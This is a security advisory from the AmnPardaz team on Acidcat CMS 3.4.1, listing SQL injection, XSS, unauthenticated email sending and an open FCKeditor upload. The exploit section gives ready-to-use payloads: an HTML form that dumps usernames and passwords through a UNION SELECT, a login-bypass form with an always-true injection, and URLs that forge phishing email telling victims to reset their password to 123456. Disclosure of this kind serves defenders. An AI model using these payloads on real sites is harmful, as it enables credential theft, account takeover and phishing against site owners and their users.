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########################## www.BugReport.ir #######################################
#
# AmnPardaz Security Research Team
#
# Title: Acidcat CMS Multiple Vulnerabilities.
# Vendor: www.acidcat.com
# Vulnerable Version: 3.4.1
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/36
#################################################################################
##
####################
1. Description:
####################
Acidcat CMS is a web site and simple Content Management System that can be administered via a web
browser.
####################
2. Vulnerability:
####################
2.1. There is a SQL Injection in "default.asp". By using it, attacker can gain usernames and
encrypted passwords.
2.1.1. POC:
Check the exploit section.
2.2. There is a logical vulnerability in which attacker can send email by the site without any
permission.
2.2.1. POC:
Check the exploit section.
2.3. There is a SQL Injection in "main_login2.asp". By using it, attacker can login to the site.
2.3.1. POC:
Check the exploit section.
2.4. There is a XSS in "/admin/admin_colors_swatch.asp".
2.4.1. POC:
/admin/admin_colors_swatch.
asp?field=value='';}alert('XSS');function(){myFor
m.myText
2.5. There is a FckEditor which has no permission, and attacker can upload his/her file.
2.5.1. POC:
/admin/fckeditor/editor/filemanager/connectors/tes
t.html
####################
3. Exploits:
####################
Original Exploit URL: http://bugreport.ir/index.php?/36/exploit
3.1. Attacker can gain usernames and passwords:
-------------
<form action="http://[The URL]/default.asp?formType=&itemID=" method="post">
<input type="text" name="cID" id="cID" value="-1 union select
1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user" />
<br />
<input type="submit" value="Submit" />
</form>
-------------
3.2. Attacker can send email without any permission:
-------------
default_mail_aspemail.asp?
AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.
com&Subject=Forgery&Body=Change your
password to 123456!
default_mail_cdosys.asp?
AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.
com&Subject=Forgery&Body=Change your
password to 123456!
default_mail_jmail.asp?
AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.
com&Subject=Forgery&Body=Change your
password to 123456!
-------------
3.3. Attacker can login to the site:
-------------
<form action="main_login2.asp" method="post">
<input type="hidden" name="username" id="username" value="FooNot' union select
1,2,3,
'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%
1B%9FF%2D%DF%EBcO%9Au%5F%28%80%A5%0D%
D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%2C
%B6s%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%
10%CE'
from ac_user where Username='1'or'1'='1'or'1'='1" size="200"/>
<br />
<input type="hidden" name="password" id="password" value="0" />
<br />
<input type="submit" value="Click To Login!" />
</form>
-------------
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4. Solution:
####################
Edit the source code to ensure that inputs are properly sanitized.
####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com
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